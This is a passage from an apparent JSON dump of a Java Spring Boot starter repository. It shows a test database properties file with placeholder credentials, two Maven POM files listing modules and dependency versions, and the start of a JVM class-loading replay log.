/>\n\t\t<constructor-arg index=\"1\" value=\"BATCH\" />\n\t</bean>\n\t\n\n</beans>\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/test/resources/uid/mysql.properties",
    "content": "#datasource db info\nmysql.driver=com.mysql.jdbc.Driver\njdbc.url=jdbc:mysql://localhost:xxxx/xxxx\njdbc.username=xxxx\njdbc.password=xxxx\njdbc.maxActive=2\n\n#datasource base\ndatasource.defaultAutoCommit=true\ndatasource.initialSize=2\ndatasource.minIdle=0\ndatasource.maxWait=5000\ndatasource.testWhileIdle=true\ndatasource.testOnBorrow=true\ndatasource.testOnReturn=false\ndatasource.validationQuery=SELECT 1 FROM DUAL\ndatasource.timeBetweenEvictionRunsMillis=30000\ndatasource.minEvictableIdleTimeMillis=60000\ndatasource.logAbandoned=true\ndatasource.removeAbandoned=true\ndatasource.removeAbandonedTimeout=120\ndatasource.filters=stat\n\n"
  },
  {
    "path": "jun_springboot_starter/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_springboot_starter</artifactId>\n\t<version>1.0.25</version>\n    <packaging>pom</packaging>\n\n    <name>jun_springcloud_starter</name>\n    <url>https://github.com/wujun728/jun_java_plugin/jjun_springcloud_starter</url>\n    <description>SpringBoot-SpirngCloud通用组件、工具、stater</description>\n    <modules>\n        <!-- -->\n        <module>jun-activerecord</module>\n        <module>jun-mybatis-sql-engine</module>\n        <module>jun-db-activerecord</module>\n        <module>jun-common-base</module>\n        <module>jun-groovy-api</module>\n        <module>jun-groovy-api-spring-boot-starter</module>\n        <module>jun-uidgenerator-spring-boot-starter</module>\n        <module>jun-onlineForm-spring-boot-starter</module>\n        <module>jun-snakerflow-spring-boot-starter</module>\n        <module>jun-db-spring-boot-starter</module>\n        <module>jun-log-spring-boot-starter</module>\n        <module>jun-oss-spring-boot-starter</module>\n        <module>jun-swagger2-spring-boot-starter</module>\n        <module>jun-sentinel-spring-boot-starter</module>\n        <module>jun-job-spring-boot-starter</module>\n        <module>jun-encrypt-body-spring-boot-starter</module>\n        <module>jun-minio-spring-boot-starter</module>\n\n    </modules>\n\n    <properties>\n        <jun.version>1.0.25</jun.version>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <java.version>8</java.version>\n        <javax.annotation-api.version>1.3.2</javax.annotation-api.version>\n        <spring-cloud-alibaba-dependencies.version>2021.1</spring-cloud-alibaba-dependencies.version>\n        <spring-boot-dependencies.version>2.5.14</spring-boot-dependencies.version>\n        <spring-cloud-dependencies.version>2020.0.6</spring-cloud-dependencies.version>\n        <commons-collections4.version>4.4</commons-collections4.version>\n        <swagger.butler.version>2.0.1</swagger.butler.version>\n        <jjwt.version>0.9.1</jjwt.version>\n        <druid-starter>1.2.6</druid-starter>\n<!--        <jasypt.version>1.14</jasypt.version>-->\n        <sharding-sphere.version>3.1.0</sharding-sphere.version>\n        <security-oauth2.version>2.3.8.RELEASE</security-oauth2.version>\n        <security-jwt.version>1.1.0.RELEASE</security-jwt.version>\n        <redisson-starter.version>3.16.1</redisson-starter.version>\n        <easyCaptcha.version>1.6.2</easyCaptcha.version>\n        <hutool.version>5.8.25</hutool.version>\n        <mybatis-plus-boot-starter.version>3.5.7</mybatis-plus-boot-starter.version>\n        <aliyun-sdk-oss>3.8.1</aliyun-sdk-oss>\n        <qiniu-java-sdk>7.2.28</qiniu-java-sdk>\n        <easypoi.version>4.1.3</easypoi.version>\n        <poi.version>4.1.1</poi.version>\n        <spring-boot-admin.version>2.5.6</spring-boot-admin.version>\n        <velocity.version>1.7</velocity.version>\n        <commons-configuration2.version>2.7</commons-configuration2.version>\n        <txlcn.version>5.0.2.RELEASE</txlcn.version>\n        <fastdfs-client.version>1.27.2</fastdfs-client.version>\n        <userAgent.version>1.21</userAgent.version>\n        <transmittable.version>2.12.1</transmittable.version>\n        <banner.version>1.0.2</banner.version>\n        <commons-beanutils.version>1.9.4</commons-beanutils.version>\n        <spring-social-security.version>1.1.6.RELEASE</spring-social-security.version>\n        <commons-io.version>2.7</commons-io.version>\n        <servlet-api.version>4.0.1</servlet-api.version>\n        <spring-data-elasticsearch.version>4.2.3</spring-data-elasticsearch.version>\n        <elasticsearch.version>7.13.4</elasticsearch.version>\n        <knife4j.version>2.0.5</knife4j.version>\n        <hibernate-validator.version>6.2.0.Final</hibernate-validator.version>\n        <dubbo.version>2.7.8</dubbo.version>\n        <curator.version>5.1.0</curator.version>\n        <jackson-databind.version>2.13.4</jackson-databind.version>\n        <commons-configuration.version>1.10</commons-configuration.version>\n        <zuul.version>2.2.9.RELEASE</zuul.version>\n        <aws-java-sdk-s3.version>1.12.40</aws-java-sdk-s3.version>\n        <spring-cloud-starter-oauth2.version>2.2.5.RELEASE</spring-cloud-starter-oauth2.version>\n        <docker-maven-plugin.version>1.2.2</docker-maven-plugin.version>\n        <sonar.exclusions>jun-job/**/*, jun-register/**/*, jun-web/**/*</sonar.exclusions>\n        <docker.baseImage>openjdk:8-jre-alpine</docker.baseImage>\n        <docker.volumes>/tmp</docker.volumes>\n        <docker.image.prefix>hub.docker.com:8080/jun-microservices</docker.image.prefix>\n        <docker.java.security.egd>-Djava.security.egd=file:/dev/./urandom</docker.java.security.egd>\n        <docker.java.opts>-Xms128m -Xmx128m</docker.java.opts>\n        <guava.version>33.2.1-jre</guava.version>\n    </properties>\n\n    <dependencies>\n    </dependencies>\n\n    <dependencyManagement>\n        <dependencies>\n            <!-- 自定义 starter -->\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-db-activerecord</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-uidgenerator-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-mybatis-sql-engine</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-groovy-api-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-groovy-api</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-common-base</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-db-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-log-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-redis-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-swagger2-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-loadbalancer-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-auth-client-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-sentinel-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-config</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-elasticsearch-spring-boot-starter</artifactId>\n                <version>${jun.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-oss-spring-boot-starter</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>jun-zookeeper-spring-boot-starter</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.github.wujun728</groupId>\n                <artifactId>search-client</artifactId>\n                <version>${project.version}</version>\n            </dependency>\n            <!-- 自定义 starter -->\n            <dependency>\n                <groupId>javax.annotation</groupId>\n                <artifactId>javax.annotation-api</artifactId>\n                <version>${javax.annotation-api.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.jsonwebtoken</groupId>\n                <artifactId>jjwt</artifactId>\n                <version>${jjwt.version}</version>\n            </dependency>\n            <!-- druid 官方 starter -->\n            <dependency>\n                <groupId>com.alibaba</groupId>\n                <artifactId>druid-spring-boot-starter</artifactId>\n                <version>${druid-starter}</version>\n            </dependency>\n            <!-- mybatis-plus start -->\n            <dependency>\n                <groupId>com.baomidou</groupId>\n                <artifactId>mybatis-plus-boot-starter</artifactId>\n                <version>${mybatis-plus-boot-starter.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.baomidou</groupId>\n                <artifactId>mybatis-plus-extension</artifactId>\n                <version>${mybatis-plus-boot-starter.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.baomidou</groupId>\n                <artifactId>mybatis-plus</artifactId>\n                <version>${mybatis-plus-boot-starter.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.baomidou</groupId>\n                <artifactId>mybatis-plus-generator</artifactId>\n                <version>${mybatis-plus-boot-starter.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.baomidou</groupId>\n                <artifactId>mybatis-plus-core</artifactId>\n                <version>${mybatis-plus-boot-starter.version}</version>\n            </dependency>\n            <!-- 加入spring security spring security oauth2的处理 -->\n            <dependency>\n                <groupId>org.springframework.security.oauth</groupId>\n                <artifactId>spring-security-oauth2</artifactId>\n                <version>${security-oauth2.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.security</groupId>\n                <artifactId>spring-security-jwt</artifactId>\n                <version>${security-jwt.version}</version>\n            </dependency>\n            <!-- 在Redis基础上的一个Java实用工具包 -->\n            <dependency>\n                <groupId>org.redisson</groupId>\n                <artifactId>redisson-spring-boot-starter</artifactId>\n                <version>${redisson-starter.version}</version>\n            </dependency>\n            <!-- swagger -->\n            <dependency>\n                <groupId>com.github.zlt2000</groupId>\n                <artifactId>swagger-butler-core</artifactId>\n                <version>${swagger.butler.version}</version>\n            </dependency>\n            <!-- 验证码生成工具 -->\n            <dependency>\n                <groupId>com.github.whvcse</groupId>\n                <artifactId>easy-captcha</artifactId>\n                <version>${easyCaptcha.version}</version>\n            </dependency>\n            <!-- hutool java工具类库  -->\n            <dependency>\n                <groupId>cn.hutool</groupId>\n                <artifactId>hutool-all</artifactId>\n                <version>${hutool.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.aliyun.oss</groupId>\n                <artifactId>aliyun-sdk-oss</artifactId>\n                <version>${aliyun-sdk-oss}</version>\n            </dependency>\n            <!-- 七牛依赖 -->\n            <dependency>\n                <groupId>com.qiniu</groupId>\n                <artifactId>qiniu-java-sdk</artifactId>\n                <version>${qiniu-java-sdk}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.poi</groupId>\n                <artifactId>poi</artifactId>\n                <version>${poi.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.poi</groupId>\n                <artifactId>poi-ooxml</artifactId>\n                <version>${poi.version}</version>\n            </dependency>\n            <!--   easypoi   -->\n            <dependency>\n                <groupId>cn.afterturn</groupId>\n                <artifactId>easypoi-base</artifactId>\n                <version>${easypoi.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>de.codecentric</groupId>\n                <artifactId>spring-boot-admin-starter-server</artifactId>\n                <version>${spring-boot-admin.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.velocity</groupId>\n                <artifactId>velocity</artifactId>\n                <version>${velocity.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.commons</groupId>\n                <artifactId>commons-configuration2</artifactId>\n                <version>${commons-configuration2.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.codingapi.txlcn</groupId>\n                <artifactId>txlcn-tm</artifactId>\n                <version>${txlcn.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.codingapi.txlcn</groupId>\n                <artifactId>txlcn-tc</artifactId>\n                <version>${txlcn.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.codingapi.txlcn</groupId>\n                <artifactId>txlcn-txmsg-netty</artifactId>\n                <version>${txlcn.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>io.shardingsphere</groupId>\n                <artifactId>sharding-jdbc-spring-boot-starter</artifactId>\n                <version>${sharding-sphere.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.github.tobato</groupId>\n                <artifactId>fastdfs-client</artifactId>\n                <version>${fastdfs-client.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>eu.bitwalker</groupId>\n                <artifactId>UserAgentUtils</artifactId>\n                <version>${userAgent.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.alibaba</groupId>\n                <artifactId>transmittable-thread-local</artifactId>\n                <version>${transmittable.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.nepxion</groupId>\n                <artifactId>banner</artifactId>\n                <version>${banner.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.social</groupId>\n                <artifactId>spring-social-security</artifactId>\n                <version>${spring-social-security.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>commons-io</groupId>\n                <artifactId>commons-io</artifactId>\n                <version>${commons-io.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>javax.servlet</groupId>\n                <artifactId>javax.servlet-api</artifactId>\n                <version>${servlet-api.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.data</groupId>\n                <artifactId>spring-data-elasticsearch</artifactId>\n                <version>${spring-data-elasticsearch.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.elasticsearch.client</groupId>\n                <artifactId>elasticsearch-rest-high-level-client</artifactId>\n                <version>${elasticsearch.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.elasticsearch</groupId>\n                <artifactId>elasticsearch-x-content</artifactId>\n                <version>${elasticsearch.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.elasticsearch.client</groupId>\n                <artifactId>elasticsearch-rest-client</artifactId>\n                <version>${elasticsearch.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.elasticsearch</groupId>\n                <artifactId>elasticsearch</artifactId>\n                <version>${elasticsearch.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.github.xiaoymin</groupId>\n                <artifactId>knife4j-spring-boot-starter</artifactId>\n                <version>${knife4j.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.github.xiaoymin</groupId>\n                <artifactId>knife4j-micro-spring-boot-starter</artifactId>\n                <version>${knife4j.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.hibernate</groupId>\n                <artifactId>hibernate-validator</artifactId>\n                <version>${hibernate-validator.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.dubbo</groupId>\n                <artifactId>dubbo</artifactId>\n                <version>${dubbo.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.curator</groupId>\n                <artifactId>curator-recipes</artifactId>\n                <version>${curator.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.apache.curator</groupId>\n                <artifactId>curator-framework</artifactId>\n                <version>${curator.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.fasterxml.jackson.core</groupId>\n                <artifactId>jackson-databind</artifactId>\n                <version>${jackson-databind.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-starter-oauth2</artifactId>\n                <version>${spring-cloud-starter-oauth2.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.amazonaws</groupId>\n                <artifactId>aws-java-sdk-s3</artifactId>\n                <version>${aws-java-sdk-s3.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-starter-netflix-zuul</artifactId>\n                <version>${zuul.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>commons-configuration</groupId>\n                <artifactId>commons-configuration</artifactId>\n                <version>${commons-configuration.version}</version>\n            </dependency>\n\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot-dependencies.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud-dependencies.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>com.alibaba.cloud</groupId>\n                <artifactId>spring-cloud-alibaba-dependencies</artifactId>\n                <version>${spring-cloud-alibaba-dependencies.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>com.google.guava</groupId>\n                <artifactId>guava</artifactId>\n                <version>${guava.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.fasterxml.jackson.core</groupId>\n                <artifactId>jackson-core</artifactId>\n                <version>${jackson-databind.version}</version>\n            </dependency>\n            <dependency>\n                <groupId>com.jfinal</groupId>\n                <artifactId>activerecord</artifactId>\n                <version>5.1.2</version>\n            </dependency>\n            <dependency>\n                <groupId>com.jfinal</groupId>\n                <artifactId>enjoy</artifactId>\n                <version>5.1.2</version>\n            </dependency>\n            <dependency>\n                <groupId>org.freemarker</groupId>\n                <artifactId>freemarker</artifactId>\n                <version>2.3.32</version>\n            </dependency>\n            <dependency>\n                <groupId>com.alibaba.fastjson2</groupId>\n                <artifactId>fastjson2</artifactId>\n                <version>2.0.37</version>\n            </dependency>\n            <dependency>\n                <groupId>com.mysql</groupId>\n                <artifactId>mysql-connector-j</artifactId>\n                <version>8.0.33</version>\n                <scope>runtime</scope>\n            </dependency>\n            <dependency>\n                <groupId>com.alibaba</groupId>\n                <artifactId>druid</artifactId>\n                <version>1.2.16</version>\n            </dependency>\n            <dependency>\n                <groupId>dom4j</groupId>\n                <artifactId>dom4j</artifactId>\n                <version>1.6.1</version>\n            </dependency>\n            <dependency>\n                <groupId>ognl</groupId>\n                <artifactId>ognl</artifactId>\n                <version>2.7.3</version>\n            </dependency>\n\n            <dependency>\n                <groupId>org.apache.commons</groupId>\n                <artifactId>commons-lang3</artifactId>\n                <version>3.10</version>\n            </dependency>\n            <dependency>\n                <groupId>junit</groupId>\n                <artifactId>junit</artifactId>\n                <version>4.12</version>\n                <scope>test</scope>\n            </dependency>\n            <dependency>\n                <groupId>cn.hutool</groupId>\n                <artifactId>hutool-all</artifactId>\n                <version>5.8.21</version>\n                <scope>compile</scope>\n            </dependency>\n\n            <dependency>\n                <groupId>net.dreamlu</groupId>\n                <artifactId>mica-auto</artifactId>\n                <version>2.3.2</version>\n            </dependency>\n\n        </dependencies>\n\n\n    </dependencyManagement>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <!--<plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>-->\n            <!--<plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>-->\n            <!--\n            <plugin>\n                 <groupId>org.apache.maven.plugins</groupId>\n                 <artifactId>maven-gpg-plugin</artifactId>\n                 <version>1.0</version>\n                 <executions>\n                     <execution>\n                         <id>sign-artifacts</id>\n                         <phase>verify</phase>\n                         <goals>\n                             <goal>sign</goal>\n                         </goals>\n                     </execution>\n                 </executions>\n             </plugin>\n -->\n        </plugins>\n    </build>\n\n    <developers>\n        <developer>\n            <name>wujun728</name>\n            <email>wujun728@163.com</email>\n            <url>https://github.com/wujun728</url>\n        </developer>\n    </developers>\n\n    <scm>\n        <url>https://github.com/wujun728/jun-spring-boot-starter.git</url>\n        <connection>scm:git:github.com/wujun728/jun-spring-boot-starter.git</connection>\n        <developerConnection>scm:git:github.com/wujun728/jun-spring-boot-starter.git</developerConnection>\n    </scm>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/pom2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_springboot_starter</artifactId>\n\t<version>1.0.20</version>\n\n\t<packaging>pom</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<modules> \n<!--\t\t<module>jun-security-spring-boot-starter</module>-->\n<!--\t\t<module>jun-dynamic-form-spring-boot-starter</module>-->\n\t\t<!--<module>dynamic-datasource-spring-boot-starter</module>\n        <module>encrypt-body-spring-boot-starter</module>\n        <module>justauth-spring-boot-starter</module>\n        <module>kaptcha-spring-boot-starter</module>\n        <module>lock4j-spring-boot-starter</module>\n        <module>minio-spring-boot-starter</module>\n        <module>p6spy-spring-boot-starter</module>\n        <module>redisson-spring-boot-starter</module>\n        <module>security-spring-boot-starter</module>\n        <module>sms-spring-boot-starter</module>\n        <module>snakerflow-spring-boot-starter</module>\n        <module>version-mapping-spring-boot-starter</module>\n        <module>xxl-job-spring-boot-starter</module>-->\n\t</modules>\n\n\t<dependencies>\n\t\t<!-- 公共模块 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-devtools</artifactId>\n\t\t\t<scope>runtime</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency> \n\t</dependencies>\n\n\t<!-- 依赖声明 -->\n\t<dependencyManagement>\n\t\t<dependencies>\n\t\t\t<!-- SpringBoot的依赖配置-->\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-dependencies</artifactId>\n\t\t\t\t<!-- <version>2.6.9</version> -->\n\t\t\t\t<!-- <version>2.3.12.RELEASE</version> -->\n\t\t\t\t<!-- <version>2.4.13</version> -->\n\t\t\t\t<version>2.5.14</version>\n\t\t\t\t<type>pom</type>\n\t\t\t\t<scope>import</scope>\n\t\t\t</dependency>\n\t\t</dependencies>\n\t</dependencyManagement>\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk-1.8</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<jdk>1.8</jdk>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "jun_springboot_starter/replay_pid8756.log",
    "content": "JvmtiExport can_access_local_variables 0\nJvmtiExport can_hotswap_or_post_breakpoint 0\nJvmtiExport can_post_on_exceptions 0\n# 280 ciObject found\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler$__sisu14$$FastClassByGuice$$325591648\ninstanceKlass org/codehaus/plexus/archiver/zip/AsiExtraField\ninstanceKlass org/codehaus/plexus/archiver/UnixStat\ninstanceKlass org/codehaus/plexus/archiver/zip/ExtraFieldUtils\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipExtraField\ninstanceKlass org/codehaus/plexus/archiver/util/ResourceUtils\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipShort\ninstanceKlass org/codehaus/plexus/archiver/jar/JdkManifestFactory\ninstanceKlass org/codehaus/plexus/util/IOUtil\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipLong\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$Section\ninstanceKlass org/apache/maven/archiver/ManifestConfiguration\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceWithAttributes\ninstanceKlass org/codehaus/plexus/util/Os\ninstanceKlass org/codehaus/plexus/util/SelectorUtils\ninstanceKlass org/codehaus/plexus/util/MatchPattern\ninstanceKlass org/codehaus/plexus/util/MatchPatterns\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$1\ninstanceKlass org/codehaus/plexus/util/cli/StreamConsumer\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributeUtils\ninstanceKlass org/codehaus/plexus/archiver/util/AbstractFileSet\ninstanceKlass org/codehaus/plexus/util/AbstractScanner\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/codehaus/plexus/util/io/InputStreamFacade\ninstanceKlass org/codehaus/plexus/util/FileUtils\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$BaseAttribute\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager$$FastClassByGuice$$324017995\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$FastClassByGuice$$323627938\ninstanceKlass org/apache/maven/plugin/source/SourceJarNoForkMojo$$FastClassByGuice$$322775282\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$TarOptions\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector\ninstanceKlass org/codehaus/plexus/archiver/bzip2/BZip2Constants\ninstanceKlass org/codehaus/plexus/components/interactivity/DefaultOutputHandler\ninstanceKlass org/codehaus/plexus/components/io/filemappers/AbstractFileMapper\ninstanceKlass org/codehaus/plexus/components/interactivity/DefaultPrompter\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector\ninstanceKlass org/codehaus/plexus/components/io/attributes/FileAttributes\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributes\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIOResourceCollectionWithAttributes\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile$Entry\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoCompressedFileResourceCollection\ninstanceKlass org/codehaus/plexus/archiver/ArchiveEntry\ninstanceKlass org/codehaus/plexus/archiver/ResourceIterator\ninstanceKlass org/codehaus/plexus/archiver/FileSet\ninstanceKlass org/codehaus/plexus/archiver/ArchivedFileSet\ninstanceKlass org/codehaus/plexus/archiver/BaseFileSet\ninstanceKlass org/codehaus/plexus/archiver/util/EnumeratedAttribute\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFinalizer\ninstanceKlass org/codehaus/plexus/archiver/util/FilterSupport\ninstanceKlass 